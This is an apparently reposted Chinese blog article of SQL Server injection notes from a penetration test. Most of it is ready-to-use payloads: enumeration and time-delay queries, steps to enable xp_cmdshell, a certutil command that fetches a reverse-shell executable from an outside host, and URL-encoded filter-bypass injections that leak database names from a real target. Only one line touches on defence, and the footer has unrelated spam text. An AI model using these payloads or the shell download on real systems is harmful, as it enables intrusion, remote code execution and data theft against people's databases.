溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行SQL Server 注入的分析

發布時間:2021-12-30 10:47:56 來源:億速云 閱讀:259 作者:柒染 欄目:網絡安全

這篇文章將為大家詳細講解有關如何進行SQL Server 注入的分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

在實習的滲透測試項目中,遇到的數據庫系統絕大部分是SQL Server。也算是了解和熟悉Mssql 的一個重要過程吧。

獲取某數據庫的所有表(假設庫名為fooDB)

--XType='U':表示所有用戶表;

--XType='S':表示所有系統表;

SELECTname FROM fooDB..sysobjects Where xtype='U';

獲取某表所有字段名(假設表名為fooTable)

SELECTname FROM SysColumns WHERE id=Object_id('fooTable');

延時注入

SELECT* FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3';

2、常用內置函數

db_name()-- 當前庫名

user-- 當前用戶名

suser_name()-- 登陸用戶名

3、like查詢大小寫敏感模式

SELECT* FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%'; 

舉例分析Chinese_PRC_CS_AI_WS:

前半部份:指 UNICODE字符集,Chinese_PRC_指針對大陸簡體字UNICODE 的排序規則。

_BIN 二進制排序

_CI(CS) 是否區分大小寫,CI不區分,CS區分

_AI(AS) 是否區分重音,AI不區分,AS區分

_KI(KS) 是否區分假名類型,KI不區分,KS區分

_WI(WS) 是否區分寬度,WI不區分,WS區分

4、實現limitm,n

查詢結果中第7 條到第 9條記錄,如 MySql中的 limit 7,3

selecttop 3 id from tablename

whereid not in (

selecttop 6 id from tablename

)

開啟xp_cmdshell存儲過程

EXECsp_configure 'show advanced options', 1;

RECONFIGURE;

EXECsp_configure 'xp_cmdshell', 1;

RECONFIGURE;

關閉只需將開啟語句的第二個1改成0再執行即可

運行命令

execmaster..xp_cmdshell "whoami";

execmaster..xp_cmdshell "ping 127.0.0.1 -n 5 > nul";

execmaster..xp_cmdshell "certutil -urlcache -split -fhttp://IP/re_shell.exe D:\re_shell.exe";

徹底防御xp_cmdshell方法:修復sql注入漏洞、刪除xplog70.dll 組件

and可用:?key=aa'+and+db_name()>1

and不可用:?key='%2buser()^1

convert轉換類型:?key=a'%2b(convert(int,@@version))

; dEcLaRe @s vArChAr(8000) sEt

@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29eXeC(@s)-- -

2、有趣的繞過例子輸入單引號時會報錯

如何進行SQL Server 注入的分析

嘗試%23和--+-的注釋來判斷后端數據庫系統類型。語句出錯的時候返回200并報錯。正確的時候是302??芍獮閙ssql。

服務端對數據進行了攔截和過濾,拒絕處理請求。然而可利用varchar^int 來爆出數據。

?appSysCode='%2buser%5e1--+-

如何進行SQL Server 注入的分析

攔截有點厲害。嘗試了許多select方式都不行。

?appSysCode=a'%2b(select+'aaa')--+-

?appSysCode=a'%2b(select+1)%5e1--+-

?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(這里只有a報錯)

?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+-(這里直接302)

?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-

?appSysCode=a'%3bSELECT+11--+-

?appSysCode=a'%3bexec+xxxxx--+-

不過還是存在規則缺陷的。

?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+-


如何進行SQL Server 注入的分析

可爆出任意數據

?appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-

關于如何進行SQL Server 注入的分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女